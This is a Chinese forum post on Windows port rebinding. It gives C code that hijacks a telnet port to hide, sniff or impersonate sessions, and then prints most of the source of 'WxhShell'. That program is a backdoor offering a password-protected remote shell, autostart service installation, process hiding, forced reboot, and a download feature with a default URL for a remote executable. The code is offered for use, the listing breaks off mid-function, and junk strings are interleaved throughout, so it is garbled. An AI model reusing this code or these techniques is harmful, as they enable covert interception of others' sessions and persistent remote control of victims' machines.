社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11393阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =Hwlo!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "WE*ED  
Sr?2~R0&  
  saddr.sin_family = AF_INET; *Z,?VEO  
NvqIYW  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \_J;i[  
a8laP N  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~*Kk+w9H<  
;HbAk`\1A  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^6(Nu|6\@  
@is!VzE  
  这意味着什么?意味着可以进行如下的攻击: TO~Z6NA0  
^J-\s_)"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 NhYce>  
B78e*nNS#2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _)? 59  
n6]8W^g  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 MYVgi{  
=7212('F  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HSsG0&'-Y  
Q&A^(z}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ic(`Ev  
(!B1} 5"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nkn4VA?"  
u#"L gG.X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &nyJ :?  
AeN$AqQd/  
  #include \T]'d@Wyd  
  #include *kE<7  
  #include 51&K  
  #include    L|H:&|F  
  DWORD WINAPI ClientThread(LPVOID lpParam);   lqoJ2JMy  
  int main() -- chU5  
  { qzt.k^'-^  
  WORD wVersionRequested; KrDG  
  DWORD ret; # %$U-ti  
  WSADATA wsaData; A, ;V|jv9  
  BOOL val; M4`. [P4  
  SOCKADDR_IN saddr; /l&$B  
  SOCKADDR_IN scaddr; nA?Ks!9T  
  int err; EYD24  
  SOCKET s; z[~ph/^  
  SOCKET sc; \7U'p:h=U  
  int caddsize; (AI 4a+  
  HANDLE mt; g`9`/  
  DWORD tid;   ev"f@y9Do  
  wVersionRequested = MAKEWORD( 2, 2 ); J70r`   
  err = WSAStartup( wVersionRequested, &wsaData ); |b'}.(/3i  
  if ( err != 0 ) { rZSD)I  
  printf("error!WSAStartup failed!\n"); ?|NMJ Qsa7  
  return -1; GI _.[  
  } }s++^uX6  
  saddr.sin_family = AF_INET; 6I!B>V#U+  
   g/f^|:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O-jpS?@  
3JJEj1O  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @zGz8IF  
  saddr.sin_port = htons(23); UHT2a9rG  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O=E?m=FR"  
  { #<*=)[  
  printf("error!socket failed!\n"); wFX>y^ 1  
  return -1; mx3p/p  
  } h1AZ+9  
  val = TRUE; /c:78@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 EYXHxo  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Yw_^]:~  
  { ^Ez`WP  
  printf("error!setsockopt failed!\n"); !/RL.`!>  
  return -1; QopA'm  
  } aF]cEe  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k(23Zt]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &6q67  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +ko-oZ7V  
p38RgEf  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) VSLi{=#  
  { &~{0@/  
  ret=GetLastError(); I:Q3r"1  
  printf("error!bind failed!\n"); cfhiZ~."T  
  return -1; _k O<|ev  
  } \;bDDTM  
  listen(s,2); 8qF OO3c\V  
  while(1) *1c1XN<7  
  { e61e|hoX\  
  caddsize = sizeof(scaddr); q)rxv7Iu\  
  //接受连接请求 ]7DS>%m Y(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Yx"un4  
  if(sc!=INVALID_SOCKET) K zWqHq  
  { gO%o A} !i  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p|9Eue3j2  
  if(mt==NULL) %s* F~E  
  { .6HHUy  
  printf("Thread Creat Failed!\n"); $3)Z>p   
  break; @T@lHc  
  } q:ah%x[  
  } ~U$ioQy<  
  CloseHandle(mt); wT@{=s,  
  } }>$3B5}  
  closesocket(s); :&`,T.N.vK  
  WSACleanup(); u%b.#!  
  return 0; PSREQK@}E  
  }   gEISnMH  
  DWORD WINAPI ClientThread(LPVOID lpParam) Bm4fdf#A]  
  {  SodYb  
  SOCKET ss = (SOCKET)lpParam; U#>K(  
  SOCKET sc; 'Hv=\p4$1  
  unsigned char buf[4096]; teX)!N [  
  SOCKADDR_IN saddr; y^[?F>wB  
  long num; :[d *  
  DWORD val; L<W2a(  
  DWORD ret; &<oJw TC  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ywY[g{4+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   mZ0'-ax   
  saddr.sin_family = AF_INET; Q nmv?YXS  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Lm1  -  
  saddr.sin_port = htons(23); ESi'3mbeC  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /Xf_b.ZM&  
  { #fT<]j(  
  printf("error!socket failed!\n"); zTS P8Q7  
  return -1; w 21g&  
  } CX3yIe~u  
  val = 100; oxZXY]$y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kG>m(n  
  { wrm ReT?  
  ret = GetLastError(); W'"p:Uh q  
  return -1; B0$ge"FK9  
  } UiQF4Uc"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @ebSM#F?  
  {  uq\[^  
  ret = GetLastError(); Mem1X rBH  
  return -1; &e)V!o@wJV  
  } Z# o;H$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xua E\*m  
  { wn/Y 5   
  printf("error!socket connect failed!\n"); gn)>(MG  
  closesocket(sc); jeWI<ms  
  closesocket(ss); 5fY7[{ 2  
  return -1; Ng|c13A=  
  } fjh,e  
  while(1) 4zhg#  
  { <*[D30<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +<rWYF(ii/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Gc,6;!+(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -=4{X R3  
  num = recv(ss,buf,4096,0); iCIU'yI  
  if(num>0) H$rNT/C  
  send(sc,buf,num,0); lN~u='Kc  
  else if(num==0) z$Z{ LR  
  break; Jk} Dj0o  
  num = recv(sc,buf,4096,0); D* QZR;D#.  
  if(num>0) p5`={'>-  
  send(ss,buf,num,0); AQjf\i  
  else if(num==0) TxP8&!d  
  break; _"h1#E  
  } |mF=X*  
  closesocket(ss); $SfYO!n7Q  
  closesocket(sc); /pQUu(~h_  
  return 0 ; ,d@FO|G#pt  
  } XOT|:  
H>Q X?>j  
b*TQKYT  
========================================================== `h='FJ/!  
;.{J>Q/U,  
下边附上一个代码,,WXhSHELL j]'ybpMT"  
a_(T9pr  
========================================================== iyTKy+3A  
@M!nAQ8hY  
#include "stdafx.h" o2R&s@%0@B  
q!y!=hI  
#include <stdio.h> Nin7AOO  
#include <string.h> 89P'WFOFK  
#include <windows.h> J936o3F_  
#include <winsock2.h> tJII-\3"  
#include <winsvc.h> J0FJ@@  
#include <urlmon.h> =^mBj?(V7  
:!L>_ f  
#pragma comment (lib, "Ws2_32.lib") 7bYN  
#pragma comment (lib, "urlmon.lib") ZmAo9>'Kg  
@n^2UJ  
#define MAX_USER   100 // 最大客户端连接数 q{uv?{I  
#define BUF_SOCK   200 // sock buffer !`0 El',gY  
#define KEY_BUFF   255 // 输入 buffer 9w.ZXd  
/|p6NK;8L  
#define REBOOT     0   // 重启 qCy SL lp0  
#define SHUTDOWN   1   // 关机 D_M73s!U  
]N{jF$  
#define DEF_PORT   5000 // 监听端口 :&J1#% t  
",pd 9  
#define REG_LEN     16   // 注册表键长度 *:"p*qV*  
#define SVC_LEN     80   // NT服务名长度 5%]O'h  
^\g?uH6k U  
// 从dll定义API >l^[73,]L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &0RKNpw g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'J8Ga<s7C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n8Rsle`a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b8&z~'ieR  
#L+ZHs~  
// wxhshell配置信息 "{x+ \Z\  
struct WSCFG { 1s-=zs  
  int ws_port;         // 监听端口 Np@RK1}  
  char ws_passstr[REG_LEN]; // 口令 ]ASTw(4  
  int ws_autoins;       // 安装标记, 1=yes 0=no `{H!V~42  
  char ws_regname[REG_LEN]; // 注册表键名 GP0}I@>?  
  char ws_svcname[REG_LEN]; // 服务名 r<!/!}fE,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zxC~a97`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hVW1l&s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t#2szr+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \kP1Jr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Le2rc *T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?*:BgaR_  
bKQ_{cR  
}; }BAe   
C 4K"eX,K  
// default Wxhshell configuration "0m\y+%8  
struct WSCFG wscfg={DEF_PORT, $GQ{Ai:VwF  
    "xuhuanlingzhe", #:8V<rc^  
    1, :czUOZ_  
    "Wxhshell", "c*#ZP  
    "Wxhshell", glZjo  
            "WxhShell Service", bA07zI2  
    "Wrsky Windows CmdShell Service", $|VD+[jSV  
    "Please Input Your Password: ", '5\?l:z  
  1, =\g K<Xh  
  "http://www.wrsky.com/wxhshell.exe", ^C~t)U  
  "Wxhshell.exe" ;aDYw [  
    }; ?i$MinK  
@=qWwt4~  
// 消息定义模块 $KPf[JvQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &W%fsy<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y$+_9VzYB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q3ebps9^  
char *msg_ws_ext="\n\rExit."; wDKA1i%G  
char *msg_ws_end="\n\rQuit.";  h 3V; J  
char *msg_ws_boot="\n\rReboot..."; R<Ct{f!  
char *msg_ws_poff="\n\rShutdown..."; vu3zZMl  
char *msg_ws_down="\n\rSave to "; b&!x.+d-z  
9>ML;$T&  
char *msg_ws_err="\n\rErr!"; P.3kcZ   
char *msg_ws_ok="\n\rOK!"; TRFza}4:i  
KSO%89R'  
char ExeFile[MAX_PATH]; uo3o[ H&#  
int nUser = 0; V Ku|=m2vB  
HANDLE handles[MAX_USER]; USV;j%U4*  
int OsIsNt; e7n` fEpO  
bdj')%@n  
SERVICE_STATUS       serviceStatus; {CQI*\O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3^]Kd  
smPZ%P}P+c  
// 函数声明 ZmS ]4WM<  
int Install(void); t8uaNvUM}e  
int Uninstall(void); S+u@ Q}  
int DownloadFile(char *sURL, SOCKET wsh); ?:Rw[T@ l  
int Boot(int flag); %Vhj<gN  
void HideProc(void); Thuwme  
int GetOsVer(void); 9G)fJr  
int Wxhshell(SOCKET wsl); xpWY4Q  
void TalkWithClient(void *cs); &Y-jK<  
int CmdShell(SOCKET sock); *a'I  
int StartFromService(void); G!U `8R  
int StartWxhshell(LPSTR lpCmdLine); M<xF4L3]  
=z#j9'n$@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g3c,x kaO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m'U>=<!D  
)| F O>  
// 数据结构和表定义 A[H"(E#k  
SERVICE_TABLE_ENTRY DispatchTable[] = &,'CHBM  
{ y|(?>\jBl  
{wscfg.ws_svcname, NTServiceMain}, z`!f'I--!  
{NULL, NULL}  )OZ  
}; w%~Mg3|  
-NUA  
// 自我安装 in2m/q?  
int Install(void) DYTC2  
{ bl[2VM7P  
  char svExeFile[MAX_PATH]; _@O.EksY3r  
  HKEY key; 90">l^HX=  
  strcpy(svExeFile,ExeFile); \'+P5,  
uM2 .?>`X  
// 如果是win9x系统,修改注册表设为自启动 Q$x 3uH\@  
if(!OsIsNt) { Nx<fj=VJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -~]]%VJP|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ):nC&M\W~  
  RegCloseKey(key); k.wm{d]J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {=,+;/0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R@2*Lgxz~  
  RegCloseKey(key); P=.T|l1  
  return 0; afye$$X  
    } ( \7Yo^  
  } B dxV [SF  
} l:j>d^V*&x  
else { B1 xlWdm  
?'^yw C`  
// 如果是NT以上系统,安装为系统服务 dyt.( 2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )pw53,7>aN  
if (schSCManager!=0) uwu`ms7z 2  
{ !$#8Z".{v{  
  SC_HANDLE schService = CreateService P.kf|,8 L  
  ( v(^;%  
  schSCManager, &W N R{  
  wscfg.ws_svcname, iM~qSRb#mJ  
  wscfg.ws_svcdisp, `Lr|KuFN  
  SERVICE_ALL_ACCESS, @O HsM?nW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Gy!bPVe  
  SERVICE_AUTO_START, 1  Lz  
  SERVICE_ERROR_NORMAL, Y"E*#1/  
  svExeFile, ,ZvlK N  
  NULL, 2 P9{?Y  
  NULL, 9.Yn]O  
  NULL, }kMKA.O"  
  NULL, 0f"la=6  
  NULL kjj?X|Un  
  ); <'vtnz  
  if (schService!=0) **F-#",  
  { <4%PT2R  
  CloseServiceHandle(schService); goc"+ K  
  CloseServiceHandle(schSCManager); >C -N0H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R?}<Cj I  
  strcat(svExeFile,wscfg.ws_svcname); S{zl <>+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #z9@x}p5g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TlJ'pG 4^  
  RegCloseKey(key); +kT o$_Wkz  
  return 0; 7QHrb'c  
    } |],ocAN{  
  } jiP^Hz"e  
  CloseServiceHandle(schSCManager); %R?#Y1Tq;  
} HQ^:5 XH  
} o_PQ]1  
B)s%B'  
return 1; :{~TG]4M  
} i 8:^1rHp)  
A<{&?_U  
// 自我卸载 p~dj-w  
int Uninstall(void) jWh}cM=  
{ )<_:%oB  
  HKEY key; wg|/-q-  
HQV#8G#B  
if(!OsIsNt) { E*8).'S%k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [+b&)jN*2  
  RegDeleteValue(key,wscfg.ws_regname); 3| 0OW Jk  
  RegCloseKey(key); }Pj;9ivz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &Tk@2<5=  
  RegDeleteValue(key,wscfg.ws_regname); @!%HEs!# #  
  RegCloseKey(key); 7z3YzQ=Kg  
  return 0; C^ Oy.s  
  } N@R?<a  
} + EM^  
} -{eI6#z|\A  
else { lNB<_SO  
.<.#g +  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N683!wNX  
if (schSCManager!=0) `yrJ}f  
{ <[tU.nh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )OV2CP  
  if (schService!=0) AP(%m';  
  { I=&Kn@^  
  if(DeleteService(schService)!=0) { ihopQb+k^m  
  CloseServiceHandle(schService); D@yu2}F{IY  
  CloseServiceHandle(schSCManager); K7]QgfpSZ  
  return 0; +P;&/z8i*g  
  } {GS$7n  
  CloseServiceHandle(schService); Z1oUAzpj4  
  }  +D|E8sz8  
  CloseServiceHandle(schSCManager); -h{|u{t  
} >:f&@vwm  
} Uw->5   
aaFt=7(K  
return 1; $Zf]1?|xa  
} QP!0I01  
E,7b=t  
// 从指定url下载文件 cGS7s 8U  
int DownloadFile(char *sURL, SOCKET wsh) ~A-D>.ZH  
{ fnn /akGKI  
  HRESULT hr; ;g_<i_ *x#  
char seps[]= "/"; 7SjWofv  
char *token; `r*bG=  
char *file; ] F2{:RW  
char myURL[MAX_PATH]; <CGJ:% AY  
char myFILE[MAX_PATH]; N3?hu}  
#~6au6LMC  
strcpy(myURL,sURL); 5U<;6s  
  token=strtok(myURL,seps); \mDBOC0eK  
  while(token!=NULL) BVv{:m{w  
  { '"J``=  
    file=token; RV_+-m{]  
  token=strtok(NULL,seps); 9NausE40  
  } =J^FV_1rJ  
v42Z&PO   
GetCurrentDirectory(MAX_PATH,myFILE); L'<.#(|  
strcat(myFILE, "\\"); d`4F  
strcat(myFILE, file); I'%ASZ  
  send(wsh,myFILE,strlen(myFILE),0); 9M1UkS$`@  
send(wsh,"...",3,0); zAO|{m<A2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hbE~.[Y2r  
  if(hr==S_OK) 3V@!}@y,F6  
return 0; w*B4>FYg  
else utBKl' `  
return 1; aui3Mq#f  
(z IIC"~5  
} f"0?_cG{%  
OQh4 MN#$  
// 系统电源模块 XJZS}Z7h  
int Boot(int flag) Ys@G0}\3G  
{ K1m'20U  
  HANDLE hToken; kr>F=|R]  
  TOKEN_PRIVILEGES tkp; 31~Rs?~f(  
&E`=pe/e  
  if(OsIsNt) { 287)\FU;3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jQ9i<-zc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uui3jZ:  
    tkp.PrivilegeCount = 1; ,w0Io   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lW3wmSWn%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,_RPy2N  
if(flag==REBOOT) { :x36Z4:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Yo[Pu< zR  
  return 0; v}BXH4&Y  
} &KVXU0F^z  
else { L~ e{Vv8UR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]$i~;f 8I  
  return 0; =Bb/Y`Q  
} T{zz3@2?  
  } yf2$HF  
  else { p+; La  
if(flag==REBOOT) { }<g- 0&GLm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y\c-I!6>26  
  return 0; <F-W fR  
} $gysy!2}.  
else { 'uU{.bq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lbiMB~rwI  
  return 0; y(*#0fJrTV  
} .yb=I6D;<3  
} Kld#C51X f  
S F&EVRv  
return 1; d2 (3 ,  
} )m.U"giG++  
x$=""?dd  
// win9x进程隐藏模块 pDM95.6   
void HideProc(void) DE" Y(;S  
{ ?`U=Ps  
1cY,)Z%l #  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &~#y-o"  
  if ( hKernel != NULL ) o 6A1;e  
  { -9~WtTaV.H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EN{o3@ O'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lq }g*ih  
    FreeLibrary(hKernel); G2 !J`}  
  } @szr '&\%A  
J0,;F9<C#X  
return; gMUCVKGf  
} E% d3}@  
q@Oe}  
// 获取操作系统版本 *PF=dx<8  
int GetOsVer(void) x5 ?>y{6D  
{ d .t$VRO  
  OSVERSIONINFO winfo; ;)rXQm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *g!7PzJ'  
  GetVersionEx(&winfo); 5;q{9wvqO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0. mS^g,M-  
  return 1; v5dLjy5  
  else V3q[#.o  
  return 0; > ,;<Bz|X  
} ^~K[bFbW  
j-9Zzgr  
// 客户端句柄模块 a/dq+  
int Wxhshell(SOCKET wsl) se&Q\!&M  
{ )Rr0f 8  
  SOCKET wsh; }-H)jN^  
  struct sockaddr_in client; ^F:Bj&0v[  
  DWORD myID; k`h#.B J  
^!sIEL  
  while(nUser<MAX_USER) .vWwYG  
{ YK%rTbB(  
  int nSize=sizeof(client); ,#Mt10e{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gt)wk93d>  
  if(wsh==INVALID_SOCKET) return 1; WWG+0jQ9  
dBEm7.nh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p}K.-S`MQ  
if(handles[nUser]==0) oxXCf%!  
  closesocket(wsh); R(on[g_1  
else ,f^ ICM  
  nUser++; ^j]_MiA4  
  } SmVL?wf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l' 2C/#8F  
tzrvIVD  
  return 0; V2LvE.Kj  
} }0idFotck  
|ZtNCB5{^j  
// 关闭 socket zLybf:#  
void CloseIt(SOCKET wsh) Zgt(zh_l  
{ TeNPuY~WP  
closesocket(wsh); 17F<vo>l%  
nUser--; ")@#B=8+3^  
ExitThread(0); e"&QQ-q  
} njckPpyb@  
! q5qA*  
// 客户端请求句柄 X}B ]0z>  
void TalkWithClient(void *cs) ;bRyk#  
{ >p 9~'  
Nx=rw h  
  SOCKET wsh=(SOCKET)cs; ]_43U` [#  
  char pwd[SVC_LEN]; ~Aw.=Yi=  
  char cmd[KEY_BUFF]; OZ, Xu&N  
char chr[1]; AA<QI'6  
int i,j; JasA w7  
]-cSTtO  
  while (nUser < MAX_USER) { DIF-%X5  
!!d?o  
if(wscfg.ws_passstr) { DTvCx6:!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #eIFRNRb)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -_ <z_IL\%  
  //ZeroMemory(pwd,KEY_BUFF); I`;SA~5  
      i=0; SVBo0wvz-  
  while(i<SVC_LEN) { 7> 8L%(7  
_BZ6Ws$C2  
  // 设置超时 il% u)NN  
  fd_set FdRead; |H.ARLS  
  struct timeval TimeOut; bXk(wXX  
  FD_ZERO(&FdRead); Dvm[W),(k  
  FD_SET(wsh,&FdRead); |dhKeg_  
  TimeOut.tv_sec=8; W_lXY Z<  
  TimeOut.tv_usec=0; N5.B"l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sW@_' Lw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `G`y A%  
e%C_>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $[\\{XJ.  
  pwd=chr[0]; nXw98;  
  if(chr[0]==0xd || chr[0]==0xa) { ||4T*B06  
  pwd=0; '^M.;Giz  
  break; g cb6*@u!  
  } qKTzigjj  
  i++; F}?4h Dt  
    } '}$$0S.DC  
8p]9A,Uq&  
  // 如果是非法用户,关闭 socket 9;NXzO27  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0ZJj5<U  
} ($-m}UF\/  
 zPN:)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Raf(m,o(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9e Fj+  
&%m%b5  
while(1) { quRTA"!E  
K/K|[=bl  
  ZeroMemory(cmd,KEY_BUFF); @Gt.J*!s/  
psUT2  
      // 自动支持客户端 telnet标准   \,pObWm  
  j=0; 'qJ0338d#U  
  while(j<KEY_BUFF) { \rd%$hci  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e~7FK_y#0  
  cmd[j]=chr[0]; r1:CHIwK  
  if(chr[0]==0xa || chr[0]==0xd) { j4I ~  
  cmd[j]=0; 3OFI> x,h  
  break; bEln.)  
  } o59b#9  
  j++; KwU;+=_.  
    } }(7TiCwd  
\440gH`  
  // 下载文件 h"nhDART<  
  if(strstr(cmd,"http://")) { R3%%;`c=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *wx95?H0Z  
  if(DownloadFile(cmd,wsh)) ERia5HnoD,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AEkjyh\  
  else Da8 |eN}   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4w)>}  
  } 4AMe>s  
  else { U~USwUzgY  
3 &mpn,  
    switch(cmd[0]) { E^A S65%bL  
  Lv#0-+]$Bt  
  // 帮助 mm;sf  
  case '?': { &gKDw!al  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t<o7 S:a"  
    break; '$),i>6gJ  
  } RLZfXXMn  
  // 安装 f;AI4:#I  
  case 'i': { Ho =vdB  
    if(Install()) 4}s'xMT!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H]7bqr  
    else | 1zfXG,R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <ZheWl  
    break; {xeJO:M3/  
    } lX.-qCV"B  
  // 卸载 T<"Bb[kH  
  case 'r': { .]s? 01Z  
    if(Uninstall()) C+g}+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }0tHzw=#%e  
    else 2gh=0%|\gx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n_Qua|R  
    break; '&e8;X  
    } OGIv".~s4  
  // 显示 wxhshell 所在路径 CAC%lp  
  case 'p': { ~M8|r!_  
    char svExeFile[MAX_PATH]; IT{c:jo1{`  
    strcpy(svExeFile,"\n\r"); j#~~_VA~  
      strcat(svExeFile,ExeFile); Hi$R"O (  
        send(wsh,svExeFile,strlen(svExeFile),0); L9N }lH  
    break; @&Z^WN,x  
    } U[02$gd0l  
  // 重启 }X?#"JFX?  
  case 'b': { "T{WOGU+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /,\U*'-  
    if(Boot(REBOOT)) "w%:5~u 9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jU~ x^Y  
    else { `g3AM%3  
    closesocket(wsh); #-@Uq6Y  
    ExitThread(0); DH%PkGn  
